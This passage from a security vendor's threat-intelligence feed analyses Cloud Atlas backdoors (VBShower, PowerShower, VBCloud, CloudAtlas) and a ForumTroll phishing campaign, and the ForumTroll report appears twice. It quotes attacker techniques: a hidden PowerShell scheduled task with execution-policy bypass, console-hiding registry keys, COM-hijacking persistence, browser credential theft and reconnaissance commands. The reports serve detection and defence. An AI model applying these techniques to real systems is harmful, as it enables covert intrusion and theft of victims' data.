This script was previously described as VBShower::Payload (1).

VBShower::Payload (5)

This script is used to check access to various cloud services and executed before installing VBCloud or CloudAtlas. It consistently accesses the URLs of cloud services, and the received HTTP responses are saved to the v_buff variable for subsequent sending to the C2 server. A truncated example of the information sent to the C2 server:

GET-https://webdav.yandex.ru|
200|
<!DOCTYPE html><html lang="ru" dir="ltr" class="desktop"><head><base href="...

VBShower::Payload (5)

VBShower::Payload (5)

VBShower::Payload (6)

This script was previously described as VBShower::Payload (2).

VBShower::Payload (7)

This is a small script for checking the accessibility of PowerShower’s C2 from an infected system.

VBShower::Payload (7)

VBShower::Payload (7)

VBShower::Payload (8)

This script is used to install PowerShower, another backdoor known to be employed by Cloud Atlas. The script does so by performing the following steps in sequence:

  1. Creates registry keys to make the console window appear off-screen, effectively hiding it:
    "HKCU\Console\%SystemRoot%_System32_WindowsPowerShell_v1.0_powershell.exe"::"WindowPosition"::5122
    "HKCU\UConsole\taskeng.exe"::"WindowPosition"::538126692
  2. Creates a “MicrosoftAdobeUpdateTaskMachine” scheduler task to execute the command line:
    powershell.exe -ep bypass -w 01 %APPDATA%\Adobe\AdobeMon.ps1
  3. Decrypts the contents of the embedded data block with XOR and saves the resulting script to the file "%APPDATA%\Adobe\p.txt". Then, renames the file "p.txt" to "AdobeMon.ps1".
  4. Collects information about file names and sizes in the path "%APPDATA%\Adobe". Gets information about the task by executing the following command line, with the output redirected to a TMP file:
    cmd.exe /c schtasks /query /v /fo LIST /tn MicrosoftAdobeUpdateTaskMachine
VBShower::Payload (8) used to install PowerShower

VBShower::Payload (8) used to install PowerShower

The decrypted PowerShell script is disguised as one of the standard modules, but at the end of the script, there is a command to launch the PowerShell interpreter with another script encoded in Base64.

Content of AdobeMon.ps1 (PowerShower)

Content of AdobeMon.ps1 (PowerShower)

VBShower::Payload (9)

This is a small script for collecting information about the system proxy settings.

VBShower::Payload (9)

VBShower::Payload (9)

VBCloud

On an infected system, VBCloud is represented by two files: a VB script (VBCloud::Launcher) and an encrypted main body (VBCloud::Backdoor). In the described case, the launcher is located in the file MicrosoftEdgeUpdate.vbs, and the payload — in upgrade.mds.

VBCloud::Launcher

The launcher script reads the contents of the upgrade.mds file, decodes characters delimited with “%H”, uses the RC4 stream encryption algorithm with a key built into the script to decrypt it, and transfers control to the decrypted content. It is worth noting that the implementation of RC4 uses PRGA (pseudo-random generation algorithm), which is quite rare, since most malware implementations of this algorithm skip this step.

VBCloud::Launcher

VBCloud::Launcher

VBCloud::Backdoor

The backdoor performs several actions in a loop to eventually download and execute additional malicious scripts, as described in the previous research.

VBCloud::Payload (FileGrabber)

Unlike VBShower, which uses a global variable to save its output or a temporary file to be sent to the C2 server, each VBCloud payload communicates with the C2 server independently. One of the most commonly used payloads for the VBCloud backdoor is FileGrabber. The script exfiltrates files and documents from the target system as described before.

The FileGrabber payload has the following limitations when scanning for files:

  • It ignores the following paths:
    • Program Files
    • Program Files (x86)
    • %SystemRoot%
  • The file size for archiving must be between 1,000 and 3,000,000 bytes.
  • The file’s last modification date must be less than 30 days before the start of the scan.
  • Files containing the following strings in their names are ignored:
    • “intermediate.txt”
    • “FlightingLogging.txt”
    • “log.txt”
    • “thirdpartynotices”
    • “ThirdPartyNotices”
    • “easylist.txt”
    • “acroNGLLog.txt”
    • “LICENSE.txt”
    • “signature.txt”
    • “AlternateServices.txt”
    • “scanwia.txt”
    • “scantwain.txt”
    • “SiteSecurityServiceState.txt”
    • “serviceworker.txt”
    • “SettingsCache.txt”
    • “NisLog.txt”
    • “AppCache”
    • “backupTest”
Part of VBCloud::Payload (FileGrabber)

Part of VBCloud::Payload (FileGrabber)

PowerShower

As mentioned above, PowerShower is installed via one of the VBShower payloads. This script launches the PowerShell interpreter with another script encoded in Base64. Running in an infinite loop, it attempts to access the C2 server to retrieve an additional payload, which is a PowerShell script twice encoded with Base64. This payload is executed in the context of the backdoor, and the execution result is sent to the C2 server via an HTTP POST request.

Decoded PowerShower script

Decoded PowerShower script

In previous versions of PowerShower, the payload created a sapp.xtx temporary file to save its output, which was sent to the C2 server by the main body of the backdoor. No intermediate files are created anymore, and the result of execution is returned to the backdoor by a normal call to the "return" operator.

PowerShower::Payload (1)

This script was previously described as PowerShower::Payload (2). This payload is unique to each victim.

PowerShower::Payload (2)

This script is used for grabbing files with metadata from a network share.

PowerShower::Payload (2)

PowerShower::Payload (2)

CloudAtlas

As described above, the CloudAtlas backdoor is installed via VBShower from a downloaded archive delivered through a DLL hijacking attack. The legitimate VLC application acts as a loader, accompanied by a malicious library that reads the encrypted payload from the file and transfers control to it. The malicious DLL is located at "%LOCALAPPDATA%\vlc\plugins\access", while the file with the encrypted payload is located at "%LOCALAPPDATA%\vlc\".

When the malicious DLL gains control, it first extracts another DLL from itself, places it in the memory of the current process, and transfers control to it. The unpacked DLL uses a byte-by-byte XOR operation to decrypt the block with the loader configuration. The encrypted config immediately follows the key. The config specifies the name of the event that is created to prevent a duplicate payload launch. The config also contains the name of the file where the encrypted payload is located — "chambranle" in this case — and the decryption key itself.

Encrypted and decrypted loader configuration

Encrypted and decrypted loader configuration

The library reads the contents of the "chambranle" file with the payload, uses the key from the decrypted config and the IV located at the very end of the "chambranle" file to decrypt it with AES-256-CBC. The decrypted file is another DLL with its size and SHA-1 hash embedded at the end, added to verify that the DLL is decrypted correctly. The DLL decrypted from "chambranle" is the main body of the CloudAtlas backdoor, and control is transferred to it via one of the exported functions, specifically the one with ordinal 2.

Main routine that processes the payload file

Main routine that processes the payload file

When the main body of the backdoor gains control, the first thing it does is decrypt its own configuration. Decryption is done in a similar way, using AES-256-CBC. The key for AES-256 is located before the configuration, and the IV is located right after it. The most useful information in the configuration file includes the URL of the cloud service, paths to directories for receiving payloads and unloading results, and credentials for the cloud service.

Encrypted and decrypted CloudAtlas backdoor config

Encrypted and decrypted CloudAtlas backdoor config

Immediately after decrypting the configuration, the backdoor starts interacting with the C2 server, which is a cloud service, via WebDAV. First, the backdoor uses the MKCOL HTTP method to create two directories: one ("/guessed/intershop/Euskalduns/") will regularly receive a beacon in the form of an encrypted file containing information about the system, time, user name, current command line, and volume information. The other directory ("/cancrenate/speciesists/") is used to retrieve payloads. The beacon file and payload files are AES-256-CBC encrypted with the key that was used for backdoor configuration decryption.

HTTP requests of the CloudAtlas backdoor

HTTP requests of the CloudAtlas backdoor

The backdoor uses the HTTP PROPFIND method to retrieve the list of files. Each of these files will be subsequently downloaded, deleted from the cloud service, decrypted, and executed.

HTTP requests from the CloudAtlas backdoor

HTTP requests from the CloudAtlas backdoor

The payload consists of data with a binary block containing a command number and arguments at the beginning, followed by an executable plugin in the form of a DLL. The structure of the arguments depends on the type of command. After the plugin is loaded into memory and configured, the backdoor calls the exported function with ordinal 1, passing several arguments: a pointer to the backdoor function that implements sending files to the cloud service, a pointer to the decrypted backdoor configuration, and a pointer to the binary block with the command and arguments from the beginning of the payload.

Plugin setup and execution routine

Plugin setup and execution routine

Before calling the plugin function, the backdoor saves the path to the current directory and restores it after the function is executed. Additionally, after execution, the plugin is removed from memory.

CloudAtlas::Plugin (FileGrabber)

FileGrabber is the most commonly used plugin. As the name suggests, it is designed to steal files from an infected system. Depending on the command block transmitted, it is capable of:

  • Stealing files from all local disks
  • Stealing files from the specified removable media
  • Stealing files from specified folders
  • Using the selected username and password from the command block to mount network resources and then steal files from them

For each detected file, a series of rules are generated based on the conditions passed within the command block, including:

  • Checking for minimum and maximum file size
  • Checking the file’s last modification time
  • Checking the file path for pattern exclusions. If a string pattern is found in the full path to a file, the file is ignored
  • Checking the file name or extension against a list of patterns
Resource scanning

Resource scanning

If all conditions match, the file is sent to the C2 server, along with its metadata, including attributes, creation time, last access time, last modification time, size, full path to the file, and SHA-1 of the file contents. Additionally, if a special flag is set in one of the rule fields, the file will be deleted after a copy is sent to the C2 server. There is also a limit on the total amount of data sent, and if this limit is exceeded, scanning of the resource stops.

Generating data for sending to C2

Generating data for sending to C2

CloudAtlas::Plugin (Common)

This is a general-purpose plugin, which parses the transferred block, splits it into commands, and executes them. Each command has its own ID, ranging from 0 to 6. The list of commands is presented below.

  1. Command ID 0: Creates, sets and closes named events.
  2. Command ID 1: Deletes the selected list of files.
  3. Command ID 2: Drops a file on disk with content and a path selected in the command block arguments.
  4. Command ID 3: Capable of performing several operations together or independently, including:
    1. Dropping several files on disk with content and paths selected in the command block arguments
    2. Dropping and executing a file at a specified path with selected parameters. This operation supports three types of launch:
    • Using the WinExec function
    • Using the ShellExecuteW function
    • Using the CreateProcessWithLogonW function, which requires that the user’s credentials be passed within the command block to launch the process on their behalf
  5. Command ID 4: Uses the StdRegProv COM interface to perform registry manipulations, supporting key creation, value deletion, and value setting (both DWORD and string values).
  6. Command ID 5: Calls the ExitProcess function.
  7. Command ID 6: Uses the credentials passed within the command block to connect a network resource, drops a file to the remote resource under the name specified within the command block, creates and runs a VB script on the local system to execute the dropped file on the remote system. The VB script is created at "%APPDATA%\ntsystmp.vbs". The path to launch the file dropped on the remote system is passed to the launched VB script as an argument.
Content of the dropped VBS

Content of the dropped VBS

CloudAtlas::Plugin (PasswordStealer)

This plugin is used to steal cookies and credentials from browsers. This is an extended version of the Common Plugin, which is used for more specific purposes. It can also drop, launch, and delete files, but its primary function is to drop files belonging to the “Chrome App-Bound Encryption Decryption” open-source project onto the disk, and run the utility to steal cookies and passwords from Chromium-based browsers. After launching the utility, several files ("cookies.txt" and "passwords.txt") containing the extracted browser data are created on disk. The plugin then reads JSON data from the selected files, parses the data, and sends the extracted information to the C2 server.

Part of the function for parsing JSON and sending the extracted data to C2

Part of the function for parsing JSON and sending the extracted data to C2

CloudAtlas::Plugin (InfoCollector)

This plugin is used to collect information about the infected system. The list of commands is presented below.

  1. Command ID 0xFFFFFFF0: Collects the computer’s NetBIOS name and domain information.
  2. Command ID 0xFFFFFFF1: Gets a list of processes, including full paths to executable files of processes, and a list of modules (DLLs) loaded into each process.
  3. Command ID 0xFFFFFFF2: Collects information about installed products.
  4. Command ID 0xFFFFFFF3: Collects device information.
  5. Command ID 0xFFFFFFF4: Collects information about logical drives.
  6. Command ID 0xFFFFFFF5: Executes the command with input/output redirection, and sends the output to the C2 server. If the command line for execution is not specified, it sequentially launches the following utilities and sends their output to the C2 server:
net group "Exchange servers" /domain
Ipconfig
arp -a

Python script

As mentioned in one of our previous reports, Cloud Atlas uses a custom Python script named get_browser_pass.py to extract saved credentials from browsers on infected systems. If the Python interpreter is not present on the victim’s machine, the group delivers an archive that includes both the script and a bundled Python interpreter to ensure execution.

During one of the latest incidents we investigated, we once again observed traces of this tool in action, specifically the presence of the file "C:\ProgramData\py\pytest.dll".

The pytest.dll library is called from within get_browser_pass.py and used to extract credentials from Yandex Browser. The data is then saved locally to a file named y3.txt.

Victims

According to our telemetry, the identified targets of the malicious activities described here are located in Russia and Belarus, with observed activity dating back to the beginning of 2025. The industries being targeted are diverse, encompassing organizations in the telecommunications sector, construction, government entities, and plants.

Conclusion

For more than ten years, the group has carried on its activities and expanded its arsenal. Now the attackers have four implants at their disposal (PowerShower, VBShower, VBCloud, CloudAtlas), each of them a full-fledged backdoor. Most of the functionality in the backdoors is duplicated, but some payloads provide various exclusive capabilities. The use of cloud services to manage backdoors is a distinctive feature of the group, and it has proven itself in various attacks.

Indicators of compromise

Note: The indicators in this section are valid at the time of publication.

File hashes

0D309C25A835BAF3B0C392AC87504D9E    протокол (08.05.2025).doc
D34AAEB811787B52EC45122EC10AEB08    HTA
4F7C5088BCDF388C49F9CAAD2CCCDCC5    StandaloneUpdate_2020-04-13_090638_8815-145.log:StandaloneUpdate_2020-04-13_090638_8815-145cfcf.vbs
5C93AF19EF930352A251B5E1B2AC2519    StandaloneUpdate_2020-04-13_090638_8815-145.log:StandaloneUpdate_2020-04-13_090638_8815-145.dat (encrypted)
0E13FA3F06607B1392A3C3CAA8092C98    VBShower::Payload(1)
BC80C582D21AC9E98CBCA2F0637D8993    VBShower::Payload(2)
12F1F060DF0C1916E6D5D154AF925426    VBShower::Payload(3)
E8C21CA9A5B721F5B0AB7C87294A2D72    VBShower::Payload(4)
2D03F1646971FB7921E31B647586D3FB    VBShower::Payload(5)
7A85873661B50EA914E12F0523527CFA    VBShower::Payload(6)
F31CE101CBE25ACDE328A8C326B9444A    VBShower::Payload(7)
E2F3E5BF7EFBA58A9C371E2064DFD0BB    VBShower::Payload(8)
67156D9D0784245AF0CAE297FC458AAC    VBShower::Payload(9)
116E5132E30273DA7108F23A622646FE    VBCloud::Launcher
E9F60941A7CED1A91643AF9D8B92A36D    VBCloud::Payload(FileGrabber)
718B9E688AF49C2E1984CF6472B23805    PowerShower
A913EF515F5DC8224FCFFA33027EB0DD    PowerShower::Payload(2)
BAA59BB050A12DBDF981193D88079232    chambranle (encrypted)

Domains and IPs

billet-ru[.]net
mskreg[.]net
flashsupport[.]org
solid-logit[.]com
cityru-travel[.]org
transferpolicy[.]org
information-model[.]net
securemodem[.]com

Operation ForumTroll continues: Russian political scientists targeted using plagiarism reports

17 December 2025 at 11:00

Introduction

In March 2025, we discovered Operation ForumTroll, a series of sophisticated cyberattacks exploiting the CVE-2025-2783 vulnerability in Google Chrome. We previously detailed the malicious implants used in the operation: the LeetAgent backdoor and the complex spyware Dante, developed by Memento Labs (formerly Hacking Team). However, the attackers behind this operation didn’t stop at their spring campaign and have continued to infect targets within the Russian Federation.

More reports about this threat are available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

Emails posing as a scientific library

In October 2025, just days before we presented our report detailing the ForumTroll APT group’s attack at the Security Analyst Summit, we detected a new targeted phishing campaign by the same group. However, while the spring cyberattacks focused on organizations, the fall campaign honed in on specific individuals: scholars in the field of political science, international relations, and global economics, working at major Russian universities and research institutions.

The emails received by the victims were sent from the address support@e-library[.]wiki. The campaign purported to be from the scientific electronic library, eLibrary, whose legitimate website is elibrary.ru. The phishing emails contained a malicious link in the format: https://e-library[.]wiki/elib/wiki.php?id=<8 pseudorandom letters and digits>. Recipients were prompted to click the link to download a plagiarism report. Clicking that link triggered the download of an archive file. The filename was personalized, using the victim’s own name in the format: <LastName>_<FirstName>_<Patronymic>.zip.

A well-prepared attack

The attackers did their homework before sending out the phishing emails. The malicious domain, e-library[.]wiki, was registered back in March 2025, over six months before the email campaign started. This was likely done to build the domain’s reputation, as sending emails from a suspicious, newly registered domain is a major red flag for spam filters.

Furthermore, the attackers placed a copy of the legitimate eLibrary homepage on https://e-library[.]wiki. According to the information on the page, they accessed the legitimate website from the IP address 193.65.18[.]14 back in December 2024.

A screenshot of the malicious site elements showing the IP address and initial session date

A screenshot of the malicious site elements showing the IP address and initial session date

The attackers also carefully personalized the phishing emails for their targets, specific professionals in the field. As mentioned above, the downloaded archive was named with the victim’s last name, first name, and patronymic.

Another noteworthy technique was the attacker’s effort to hinder security analysis by restricting repeat downloads. When we attempted to download the archive from the malicious site, we received a message in Russian, indicating the download link was likely for one-time use only:

The message that was displayed when we attempted to download the archive

The message that was displayed when we attempted to download the archive

Our investigation found that the malicious site displayed a different message if the download was attempted from a non-Windows device. In that case, it prompted the user to try again from a Windows computer.

The message that was displayed when we attempted to download the archive from a non-Windows OS

The message that was displayed when we attempted to download the archive from a non-Windows OS

The malicious archive

The malicious archives downloaded via the email links contained the following:

  • A malicious shortcut file named after the victim: <LastName>_<FirstName>_<Patronymic>.lnk;
  • A .Thumbs directory containing approximately 100 image files with names in Russian. These images were not used during the infection process and were likely added to make the archives appear less suspicious to security solutions.
A portion of the .Thumbs directory contents

A portion of the .Thumbs directory contents

When the user clicked the shortcut, it ran a PowerShell script. The script’s primary purpose was to download and execute a PowerShell-based payload from a malicious server.

The script that was launched by opening the shortcut

The script that was launched by opening the shortcut

The downloaded payload then performed the following actions:

  • Contacted a URL in the format: https://e-library[.]wiki/elib/query.php?id=<8 pseudorandom letters and digits>&key=<32 hexadecimal characters> to retrieve the final payload, a DLL file.
  • Saved the downloaded file to %localappdata%\Microsoft\Windows\Explorer\iconcache_<4 pseudorandom digits>.dll.
  • Established persistence for the payload using COM Hijacking. This involved writing the path to the DLL file into the registry key HKCR\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32. Notably, the attackers had used that same technique in their spring attacks.
  • Downloaded a decoy PDF from a URL in the format: https://e-library[.]wiki/pdf/<8 pseudorandom letters and digits>.pdf. This PDF was saved to the user’s Downloads folder with a filename in the format: <LastName>_<FirstName>_<Patronymic>.pdf and then opened automatically.

The decoy PDF contained no valuable information. It was merely a blurred report generated by a Russian plagiarism-checking system.

A screenshot of a page from the downloaded report

A screenshot of a page from the downloaded report

At the time of our investigation, the links for downloading the final payloads didn’t work. Attempting to access them returned error messages in English: “You are already blocked…” or “You have been bad ended” (sic). This likely indicates the use of a protective mechanism to prevent payloads from being downloaded more than once. Despite this, we managed to obtain and analyze the final payload.

The final payload: the Tuoni framework

The DLL file deployed to infected devices proved to be an OLLVM-obfuscated loader, which we described in our previous report on Operation ForumTroll. However, while this loader previously delivered rare implants like LeetAgent and Dante, this time the attackers opted for a better-known commercial red teaming framework: Tuoni. Portions of the Tuoni code are publicly available on GitHub. By deploying this tool, the attackers gained remote access to the victim’s device along with other capabilities for further system compromise.

As in the previous campaign, the attackers used fastly.net as C2 servers.

Conclusion

The cyberattacks carried out by the ForumTroll APT group in the spring and fall of 2025 share significant similarities. In both campaigns, infection began with targeted phishing emails, and persistence for the malicious implants was achieved with the COM Hijacking technique. The same loader was used to deploy the implants both in the spring and the fall.

Despite these similarities, the fall series of attacks cannot be considered as technically sophisticated as the spring campaign. In the spring, the ForumTroll APT group exploited zero-day vulnerabilities to infect systems. By contrast, the autumn attacks relied entirely on social engineering, counting on victims not only clicking the malicious link but also downloading the archive and launching the shortcut file. Furthermore, the malware used in the fall campaign, the Tuoni framework, is less rare.

ForumTroll has been targeting organizations and individuals in Russia and Belarus since at least 2022. Given this lengthy timeline, it is likely this APT group will continue to target entities and individuals of interest within these two countries. We believe that investigating ForumTroll’s potential future campaigns will allow us to shed light on shadowy malicious implants created by commercial developers – much as we did with the discovery of the Dante spyware.

Indicators of compromise

e-library[.]wiki
perf-service-clients2.global.ssl.fastly[.]net
bus-pod-tenant.global.ssl.fastly[.]net
status-portal-api.global.ssl.fastly[.]net

Operation ForumTroll continues: Russian political scientists targeted using plagiarism reports

17 December 2025 at 11:00

Introduction

In March 2025, we discovered Operation ForumTroll, a series of sophisticated cyberattacks exploiting the CVE-2025-2783 vulnerability in Google Chrome. We previously detailed the malicious implants used in the operation: the LeetAgent backdoor and the complex spyware Dante, developed by Memento Labs (formerly Hacking Team). However, the attackers behind this operation didn’t stop at their spring campaign and have continued to infect targets within the Russian Federation.

More reports about this threat are available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

Emails posing as a scientific library

In October 2025, just days before we presented our report detailing the ForumTroll APT group’s attack at the Security Analyst Summit, we detected a new targeted phishing campaign by the same group. However, while the spring cyberattacks focused on organizations, the fall campaign honed in on specific individuals: scholars in the field of political science, international relations, and global economics, working at major Russian universities and research institutions.

The emails received by the victims were sent from the address support@e-library[.]wiki. The campaign purported to be from the scientific electronic library, eLibrary, whose legitimate website is elibrary.ru. The phishing emails contained a malicious link in the format: https://e-library[.]wiki/elib/wiki.php?id=<8 pseudorandom letters and digits>. Recipients were prompted to click the link to download a plagiarism report. Clicking that link triggered the download of an archive file. The filename was personalized, using the victim’s own name in the format: <LastName>_<FirstName>_<Patronymic>.zip.

A well-prepared attack

The attackers did their homework before sending out the phishing emails. The malicious domain, e-library[.]wiki, was registered back in March 2025, over six months before the email campaign started. This was likely done to build the domain’s reputation, as sending emails from a suspicious, newly registered domain is a major red flag for spam filters.

Furthermore, the attackers placed a copy of the legitimate eLibrary homepage on https://e-library[.]wiki. According to the information on the page, they accessed the legitimate website from the IP address 193.65.18[.]14 back in December 2024.

A screenshot of the malicious site elements showing the IP address and initial session date

A screenshot of the malicious site elements showing the IP address and initial session date

The attackers also carefully personalized the phishing emails for their targets, specific professionals in the field. As mentioned above, the downloaded archive was named with the victim’s last name, first name, and patronymic.

Another noteworthy technique was the attacker’s effort to hinder security analysis by restricting repeat downloads. When we attempted to download the archive from the malicious site, we received a message in Russian, indicating the download link was likely for one-time use only:

The message that was displayed when we attempted to download the archive

The message that was displayed when we attempted to download the archive

Our investigation found that the malicious site displayed a different message if the download was attempted from a non-Windows device. In that case, it prompted the user to try again from a Windows computer.

The message that was displayed when we attempted to download the archive from a non-Windows OS

The message that was displayed when we attempted to download the archive from a non-Windows OS

The malicious archive

The malicious archives downloaded via the email links contained the following:

  • A malicious shortcut file named after the victim: <LastName>_<FirstName>_<Patronymic>.lnk;
  • A .Thumbs directory containing approximately 100 image files with names in Russian. These images were not used during the infection process and were likely added to make the archives appear less suspicious to security solutions.
A portion of the .Thumbs directory contents

A portion of the .Thumbs directory contents

When the user clicked the shortcut, it ran a PowerShell script. The script’s primary purpose was to download and execute a PowerShell-based payload from a malicious server.

The script that was launched by opening the shortcut

The script that was launched by opening the shortcut

The downloaded payload then performed the following actions:

  • Contacted a URL in the format: https://e-library[.]wiki/elib/query.php?id=<8 pseudorandom letters and digits>&key=<32 hexadecimal characters> to retrieve the final payload, a DLL file.
  • Saved the downloaded file to %localappdata%\Microsoft\Windows\Explorer\iconcache_<4 pseudorandom digits>.dll.
  • Established persistence for the payload using COM Hijacking. This involved writing the path to the DLL file into the registry key HKCR\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32. Notably, the attackers had used that same technique in their spring attacks.
  • Downloaded a decoy PDF from a URL in the format: https://e-library[.]wiki/pdf/<8 pseudorandom letters and digits>.pdf. This PDF was saved to the user’s Downloads folder with a filename in the format: <LastName>_<FirstName>_<Patronymic>.pdf and then opened automatically.

The decoy PDF contained no valuable information. It was merely a blurred report generated by a Russian plagiarism-checking system.

A screenshot of a page from the downloaded report

A screenshot of a page from the downloaded report

At the time of our investigation, the links for downloading the final payloads didn’t work. Attempting to access them returned error messages in English: “You are already blocked…” or “You have been bad ended” (sic). This likely indicates the use of a protective mechanism to prevent payloads from being downloaded more than once. Despite this, we managed to obtain and analyze the final payload.

The final payload: the Tuoni framework

The DLL file deployed to infected devices proved to be an OLLVM-obfuscated loader, which we described in our previous report on Operation ForumTroll. However, while this loader previously delivered rare implants like LeetAgent and Dante, this time the attackers opted for a better-known commercial red teaming framework: Tuoni. Portions of the Tuoni code are publicly available on GitHub. By deploying this tool, the attackers gained remote access to the victim’s device along with other capabilities for further system compromise.

As in the previous campaign, the attackers used fastly.net as C2 servers.

Conclusion

The cyberattacks carried out by the ForumTroll APT group in the spring and fall of 2025 share significant similarities. In both campaigns, infection began with targeted phishing emails, and persistence for the malicious implants was achieved with the COM Hijacking technique. The same loader was used to deploy the implants both in the spring and the fall.

Despite these similarities, the fall series of attacks cannot be considered as technically sophisticated as the spring campaign. In the spring, the ForumTroll APT group exploited zero-day vulnerabilities to infect systems. By contrast, the autumn attacks relied entirely on social engineering, counting on victims not only clicking the malicious link but also downloading the archive and launching the shortcut file. Furthermore, the malware used in the fall campaign, the Tuoni framework, is less rare.

ForumTroll has been targeting organizations and individuals in Russia and Belarus since at least 2022. Given this lengthy timeline, it is likely this APT group will continue to target entities and individuals of interest within these two countries. We believe that investigating ForumTroll’s potential future campaigns will allow us to shed light on shadowy malicious implants created by commercial developers – much as we did with the discovery of the Dante spyware.

Indicators of compromise

e-library[.]wiki
perf-service-clients2.global.ssl.fastly[.]net
bus-pod-tenant.global.ssl.fastly[.]net
status-portal-api.global.ssl.fastly[.]net

❌